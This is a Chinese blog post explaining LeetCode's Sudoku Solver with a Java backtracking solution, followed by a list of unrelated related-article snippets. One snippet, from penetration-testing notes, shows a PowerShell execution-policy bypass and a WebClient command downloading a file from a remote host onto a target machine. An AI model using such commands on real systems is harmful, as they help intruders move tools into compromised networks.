37. Sudoku Solver

文章目录

  • 1 题目理解
  • 2 回溯

1 题目理解

Write a program to solve a Sudoku puzzle by filling the empty cells.

A sudoku solution must satisfy all of the following rules:

Each of the digits 1-9 must occur exactly once in each row.
Each of the digits 1-9 must occur exactly once in each column.
Each of the digits 1-9 must occur exactly once in each of the 9 3x3 sub-boxes of the grid.
The ‘.’ character indicates empty cells.
输入:一个字符数组char[][] board。如果这个单元格没有数字,用.表示。
输出:一个数独
规则:每一行,每一列从1到9,每个数只出现一次。每个3x3的方格,从1到9,每个数只出现一次。

在这里插入图片描述

2 回溯

对于没有数字的位置,依次尝试1-9的数字,看是否有效。有效则移动位置。思路比较简单,难点在于怎么查找每一行,每一列,每一个方格内数字是否有效。原数组是字符,可以用int类型的数组来表示,查找会更快。int[][] rows表示每一行出现了哪些数字,例如rows[0][3]=1表示第0行数字3已经出现。int[][] cols表示每一列出现了哪些数字。int[][][] boxes 表示第i行第j个方格,哪些数字已经出现。

class Solution {private char[][] board;private int[][] rows;private int[][] cols;private int[][][] boxes;private int n = 9;public void solveSudoku(char[][] board) {this.board = board;rows = new int[n][n+1];cols = new int[n][n+1];boxes = new int[3][3][n+1];for(int i=0;i<n;i++){for(int j=0;j<n;j++){if(board[i][j]!='.'){placeNumber(i,j,board[i][j]-48);}}}dfs(0,0);}private boolean dfs(int i,int j){if(j==n){return true;}int nextI = (i+1)%n;int nextJ = (nextI==0?j+1:j);if(board[i][j] == '.'){for(int d =1;d<=n;d++){if(isValidate(i,j,d)){board[i][j] = (char)(d+'0');placeNumber(i,j,d);if(dfs(nextI,nextJ)){return true;}else{board[i][j] = '.';unPlaceNumber(i,j,d);}}}}else{return dfs(nextI,nextJ);}return false;}private void placeNumber(int i,int j,int d){rows[i][d] = 1;cols[j][d] = 1;boxes[i/3][j/3][d] = 1;}private void unPlaceNumber(int i,int j,int d){rows[i][d] = 0;cols[j][d] = 0;boxes[i/3][j/3][d] = 0;}private boolean isValidate(int i,int j,int d){if(rows[i][d]==1) return false;if(cols[j][d]==1) return false;if(boxes[i/3][j/3][d] == 1) return false;return true;}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/424211.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

spring mvc学习(17)Intellij IDEA创建maven项目无java文件问题

1.解决之前项目结构如下&#xff1a; 2.选择File->Project Structure... 3.选择Modules选项卡下面的Sources项&#xff0c;在main文件夹上右键&#xff0c;选择New Folder...并点击OK   4.输入要创建的文件夹名称java&#xff0c;并点击OK继续 5.在创建好的java文件夹上右…

SQL Server 2005中的ROW_NUMBER和RANK

下面介绍两个SQL Server 2005 中的新东东&#xff1a;ROW_NUMBER返回结果集分区内行的序列号&#xff0c;每个分区的第一行从 1 开始。语法&#xff1a;ROW_NUMBER ( ) OVER ( [ <partition_by_clause> ] <order_by_clause> )备注&#xff1a;ORDER BY 子句可确…

day33-1 线程队列

线程队列 线程队列就是一个普通的容器&#xff0c;使用import queue&#xff0c;用法与进程Queue一样 先进先出 from queue import Queueq Queue() q.put(2) q.put(a) q.put((2, 1))print(q.get()) # 2 print(q.get()) # a print(q.get()) # (2, 1) 后进先出&#xff1a;…

51. N-Queens

文章目录1 题目理解2 回溯2.1 直观解法2.2 按行遍历1 题目理解 The n-queens puzzle is the problem of placing n queens on an n x n chessboard such that no two queens attack each other. Given an integer n, return all distinct solutions to the n-queens puzzle. …

第一百零一期:如何处理ASP .NET Core中的cookie?

本文介绍了ASP.NET Core Web应用程序中利用cookie存储和检索针对特定用户的信息。 作者&#xff1a;布加迪编译 【51CTO.com快译】cookie是通常用于存储有关用户信息的一条数据&#xff0c;存储在用户的计算机上。在大多数浏览器中&#xff0c;每个cookie都存储为一个小文件&a…

男生给女生最牛B的告白

1、别以为平胸就说明自己有脑&#xff0c;别以为自己笨就一定丰满。基本上没有男人会笨到认为脑子和胸部有任何联系. 2、爱不爱你&#xff1f;别tm一直问偶这个问题。什么也不说&#xff0c;你丫哭&#xff1b;犹豫了一会说&#xff0c;你丫说不坚决&#xff1b;脱口而出你丫又…

四、COSMIC功能点实操

一、识别功能处理 二、识别功能处理的数据对象 三、识别数据对象的数据移动 四、要点规则 1.消息提示&#xff1a;一个功能处理的所有消息提示作为一个X&#xff0c;如果涉及到动态的提示单独作为一个X 2.分析功能是新增的还是修改的&#xff0c;新增功能的数据运算都不算功能点…

第一百零二期:5G套餐到底该不该换?看完你就明白啦!

日前&#xff0c;三大运营商正式宣布5G商用&#xff0c;并公布了各自的5G资费套餐。毫无意外&#xff0c;正式公布出来的套餐内容&#xff0c;和之前运营商内部泄露的内容完全一致。 作者&#xff1a;小枣君 日前&#xff0c;三大运营商正式宣布5G商用&#xff0c;并公布了各自…

79. Word Search

文章目录1题目理解2 回溯3 212 word search II1题目理解 Given an m x n board and a word, find if the word exists in the grid. The word can be constructed from letters of sequentially adjacent cells, where “adjacent” cells are horizontally or vertically ne…

怀念西电北门的石凳(转载)

想起1996年某个春天的清晨<?xml:namespace prefix o ns "urn:schemas-microsoft-com:office:office" />那个被我叫做小可的女生和我坐在北门里的石凳上让我帮她讲数学&#xff5e;清晨的风清凉地流着&#xff5e;划过记忆里永远不曾尘封的忧伤&#xff5e;感…

内网文件传输

转自&#xff1a;https://github.com/l3m0n/pentest_study windows下文件传输 1、powershell文件下载 powershell突破限制执行&#xff1a;powershell -ExecutionPolicy Bypass -File .\1.ps1 $d New-Object System.Net.WebClient $d.DownloadFile("http://lemon.com/fil…

127. Word Ladder

文章目录1 题目理解2 BFS3 双向BFS1 题目理解 给定两个单词&#xff08;beginWord 和 endWord&#xff09;和一个字典&#xff0c;找到从 beginWord 到 endWord 的最短转换序列的长度。转换需遵循如下规则&#xff1a; 每次转换只能改变一个字母。 转换过程中的中间单词必须是…

关于DataAdapter打开和关闭连接

今天看书的时候,终于看明白了DataAdapter相关的打开和关闭连接的问题DataAdapter使用的时候可以不显示的打开或关闭连接,这是因为DataAdapter能够自动的处理该任务.如果在调用Fill方法的时候连接是关闭的,则连接会自动打开,然后从数据库中把数据记录填充到DataSet中,接着连接会…

讨论ALL_ROWS模式和FIRST_ROWS模式

在CBO的优化模式下&#xff0c;我们可以使用optimizer_mode参数控制优化模式。主要有两种模式&#xff0c;一种是ALL_ROWS模式&#xff0c;另外一种是FIRST_ROWS模式。 ALL_ROWS模式适用场景&#xff1a;希望优化程序给出一种尽快得到全部记录的执行计划&#xff0c;目标是增加…

第一百零三期:解读回归测试:类型、选择、挑战和实践

本文介绍了回归测试的基本概念、工作方式、面临的挑战、以及业界的优秀实践。 作者&#xff1a;陈峻编译 【51CTO.com快译】有研究表明&#xff1a;在安装了新的应用程序之后&#xff0c;只有四分之一的用户会在次日回到该应用。而大多数用户在首次使用之后就直接将其卸载掉了…

126. Word Ladder II

文章目录1 题目理解2 BFS1 题目理解 题目要求和127是一样的。返回值不一样。返回值要求把最短路径的&#xff0c;具体路径输出。 Input: beginWord “hit”, endWord “cog”, wordList [“hot”,“dot”,“dog”,“lot”,“log”,“cog”] Output: [ [“hit”,“hot”,“…

如何构建积木式Web应用

上下文基本上我们在儿童时代都玩过积木玩具。通过一块块的积木&#xff0c;再加上我们的想象力&#xff0c;就可以构造出非常多不同的风格的建筑。那么&#xff0c; 我们可不可以把这种搭积木的方式应用到我们的web应用上呢。问题web应用通过提供给用户一整套组件&#xff08;相…

第一百零四期:搞清这些陷阱,NULL和三值逻辑再也不作妖

NULL 用于表示缺失的值或遗漏的未知数据&#xff0c;不是某种具体类型的值。数据表中的 NULL 值表示该值所处的字段为空&#xff0c;值为 NULL 的字段没有值&#xff0c;尤其要明白的是&#xff1a;NULL 值与 0 或者空字符串是不同的。 作者&#xff1a;youzhibing2904 NULL …

752. Open the Lock

文章目录1 题目理解2 BFS3 用int构建状态1 题目理解 一个钟表有4个槽&#xff0c;每个槽可以停在0-9&#xff0c;10个状态。钟表每个槽的轮子可以转&#xff0c;例如可以从0转到9&#xff0c;也可以从0转到1。 钟表的起始状态是"0000"。每个数字代表一个槽的状态。 …

移动开发 视频收集

构建基于SQL CE的移动方案http://download.chinaitlab.com/video/files/8282.html转载于:https://www.cnblogs.com/Regal/archive/2006/03/23/356800.html